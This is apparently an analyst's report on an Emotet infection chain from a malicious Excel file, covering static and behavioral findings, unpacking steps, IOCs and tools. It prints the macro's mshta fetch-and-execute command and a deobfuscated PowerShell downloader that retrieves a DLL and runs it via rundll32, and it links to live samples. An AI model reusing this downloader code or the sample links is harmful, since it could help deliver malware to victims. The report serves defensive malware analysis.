Baylen Orr

File Analysis - 2022:07:27 (2)

Analysis of Emotet/SilentBuilder

By Baylen Orr · Report date: 28Jan2022

Network indicators on this page are defanged (e.g. example[.]com) so they can't be clicked by accident.

Samples can be downloaded here

FILES

  1. emotet.sample.xls.7z (sha256: 32a7b5e460d24719ca0affe8d2d3da77730721a76680895cdddf3badadb4f98d)
  2. fiddler-session01.saz.7z (sha256: f47cfed3906715f15456bfabaa6ee7f0a8058508a20ab22bb21b73a3603f889f)
  3. Milossd.dll.7z (sha256: fc013d2d62f4ac69d48f165cd0b700652bdcb7afc1775e2a00492724b92755e4)
  4. milossd_011C0000.bin.7z (sha256: ac357fa88a864c72d215739b0ddef0fde20ef23380df864d3fdb5e91834bcfb9)

SUMMARY

On 28 January we retrieved a xls sample with an unknown malware family signature. We Conducted an analysis on the sample to potentially identity new Threat Actor operational tactics and to identify any new indicators of compromise (IOCs). The xls file is not an overly sophisticated delivery method and utilizes obsolete malware delivery techniques and weak obfuscation. The xls file iterated through a list of domains to retrieve a DLL and execute it with rundll32.exe. The malicious DLL utilized process-hollowing to unpack malicious code into rundll32.exe. The malicious code was an Emotet trojan that further executed malicous processes typical of Emotet. Mitigations for Emotet varieties apply to the samples analyzed below.

STATIC POPERTIES

The first stage for infection is an xls file containing easily identifiable macros. These macros ultimately make the excel function call =EXEC("cmd /c set ooo=mshta hxxp://91[.]240[.]118[.]172/ee/ss/se.html & echo %ooo% | cmd"), 0. The author of sample.xls is listed as "xXx" and sample.xls is not encrypted.

BEHAVIORAL ANALYSIS

After we identified sample.xls' macro target URL we were able to capture any network traffic and conduct the same call on the command prompt. Using mshta.exe in the manner outlined by the macro in sample.xls to (hxxp://91[.]240[.]118[.]172/ee/ss/se[.]html). The landing page 'ee/ss/se.html' contains obfuscated javascript that spawns a powershell session and loads a 'ee/ss/se.png' page. The page 'ee/ss/se.png' contains a lightly obfuscated powershell script that iterates through and attempts to download through thirteen URLs. Upon success, the downloaded content is written to disk and executed and then the script breaks execution. See the IOC section for the list of URLs and the attachment 'fiddler-session01.saz', session 18. The deobfuscated powershell script, 'se.png' follows:

$path = "C:\ProgramData\Milossd.dll";
    $web = New-Object net.webclient;
    $urls = ( <truncated for brevity. See IOCs> )
    foreach ($url in $urls) {
       try {
           $web.DownloadFile($url, $path);
           if ((Get-Item $path).Length -ge 30000) {
               [Diagnostics.Process];
               break;
           }
       }
       catch{}
    }
    Sleep -s 3;cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\ProgramData\Milossd.dll',DllRegisterServer;

On our capture the first URL, 'hxxp://tamiladsense[.]com/wp-includes/BEADvqGgemV8SnTX/', was successful at delivering a payload. The DLL, 'Milossd.dll' (Milossd) can be downloaded from the attachment 'fiddler-session01.saz' from session 19.

Milossd.dll

Milossd exports one function and is executed by calling run32dll as seen in the command line argument above. Milossd unpacks a third stage loader which is injected into the parent process, rundll32.exe. To unpack the third stage loader for individual anlysis set a breakpoint on VirtualAlloc and allow the binary to execute. On the fourth break on VirtualAlloc the proper return address for a memory dump will populate in EAX. This instruction is at 0x1000252E. There are function calls after VirtualAlloc that populate the data. The code loops through multiple iterations until each PE section is correctly populated. Note that the binary is meant to by run only in memory, so the RVA to the .text section is at 0x1000 instead of 0x400. Because of this, the dumped binary will not run unless the offsets to the sections are corrected to fix the alignment. This can be done by synchronizing the the dword VirtualAddress and dword PointerToRawData values in the struct IMAGE_SECTION_HEADER for all sections. Also note it may be possible to dump the binary with the correct offsets another way[1]);

10001ABC | call dword ptr ds:[<&VirtualAlloc>]  |
    10001AC2 | mov dword ptr ss:[ebp-8],eax         |
    10001AC5 | cmp dword ptr ss:[ebp-8],0           |
    10001AC9 | jne milossd.10001ACF                 |
    10001ACB | xor eax,eax                          |
    10001ACD | jmp milossd.10001B0B                 |
    10001ACF | mov ecx,dword ptr ss:[ebp-14]        | [ebp-14]:".text"
    10001AD2 | mov edx,dword ptr ss:[ebp-10]        |
    10001AD5 | add edx,dword ptr ds:[ecx+C]         |
    10001AD8 | mov dword ptr ss:[ebp-8],edx         |
    10001ADB | mov eax,dword ptr ss:[ebp-14]        | [ebp-14]:".text"
    10001ADE | mov ecx,dword ptr ds:[eax+10]        |
    10001AE1 | push ecx                             |
    10001AE2 | mov edx,dword ptr ss:[ebp-14]        | [ebp-14]:".text"
    10001AE5 | mov eax,dword ptr ss:[ebp+8]         |
    10001AE8 | add eax,dword ptr ds:[edx+14]        |
    10001AEB | push eax                             |
    10001AEC | mov ecx,dword ptr ss:[ebp-8]         |
    10001AEF | push ecx                             |
    10001AF0 | call milossd.10001810                |<--- Populates sections
    10001AF5 | add esp,C                            |
    10001AF8 | mov edx,dword ptr ss:[ebp-14]        | [ebp-14]:".text"
    10001AFB | mov eax,dword ptr ss:[ebp-8]         |
    10001AFE | mov dword ptr ds:[edx+8],eax         |
    10001B01 | jmp milossd.100019F0                 |<--- Tests that all
    10001B06 | mov eax,1                            |     data is populated.
    10001B0B | mov esp,ebp                          |     JMP to 10001B06 if 
    10001B0D | pop ebp                              |     all is good.
    10001B0E | ret 10                               |

Milossd runs in the memory space of rundll32.exe and attempts to make TCP connections iteratively to the IP addresses listed in the IOC section below. Eventually Milossd deletes itself from the launch directory and runs a copy of itself into the user's Local\Temp directory with a different name. Milossd then unpacks a final stage that is named randomly into the same directory and executed under the same parent process as rundll32.exe. On our machine the resulting process was C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Cszucmbetu\jedaxjhrvquj.vcd",DllRegisterServer. The dropped binary shares similarities to and is flagged an Emotet trojan/downloader and appears to behave the same.

MITIGATIONS

The mitigations for the analyzed samples are concordant with mitigations against Emotet trojans. Attached are associated yara rules that will identify the analyzed binaries and xls file. Below are the associated indicators of compromise (IOCs) for the analyzed samples.

IOCs

ip addresses

  1. 74[.]207[.]230[.]120
  2. 139[.]196[.]72[.]155
  3. 37[.]44[.]244[.]177
  4. 37[.]59[.]209[.]141
  5. 116[.]124[.]128[.]206
  6. 217[.]182[.]143[.]207
  7. 54[.]37[.]228[.]122
  8. 203[.]153[.]216[.]46
  9. 168[.]197[.]250[.]14
  10. 207[.]148[.]81[.]119
  11. 195[.]154[.]146[.]35
  12. 78[.]46[.]73[.]125
  13. 191[.]252[.]103[.]16

urls

  1. "hxxp://tamiladsense[.]com/wp-includes/BEADvqGgemV8SnTX/"
  2. "hxxp://manchesterheatingservices[.]youprocontact[.]com/wp-admin/AiK19uMf/"
  3. "hxxp://tunbridgeservices[.]com/jfoeqhxz/zOX0/"
  4. "hxxps://mypurealsystem[.]com/App_Start/Rhh8lKO/"
  5. "hxxp://imaginariumstore[.]fun/ncsb/cyGoTYqMmcRwvqdre/"
  6. "hxxp://engaz[.]shop/wp-content/MOllqUm2nb/"
  7. "hxxps://ecobaby[.]pi-dh[.]com/Serendib/gl1hcef9Y3GSTCDC/"
  8. "hxxp://3-fasen[.]com/wp-content/3Bl0hBbW/"
  9. "hxxps://vn[.]minino[.]com/wp-admin/c3WQa/"
  10. "hxxps://lastregaristorante[.]com/wp-admin/ffdC7ElM2Bn2/"
  11. "hxxp://onexone[.]elementor[.]cloud/cdrxhrt/uVE0uVHOz5E/"
  12. "hxxps://oculusvisioncare[.]com/wp-includes/ZEYDjosbNExFTdu/"
  13. "hxxp://devbhoomigaushala[.]org/Getae/Vyo5rrNLAgd0QxXvkv/"

TOOLS USED

  1. Ghidra
  2. Fiddler
  3. ProcessMonitor
  4. ProcDot
  5. Remnux Ole tools
  6. RegShot
  7. Win32Dbg

REFERENCES

  1. https://www.youtube.com/watch?v=AkZ5TYBqcU4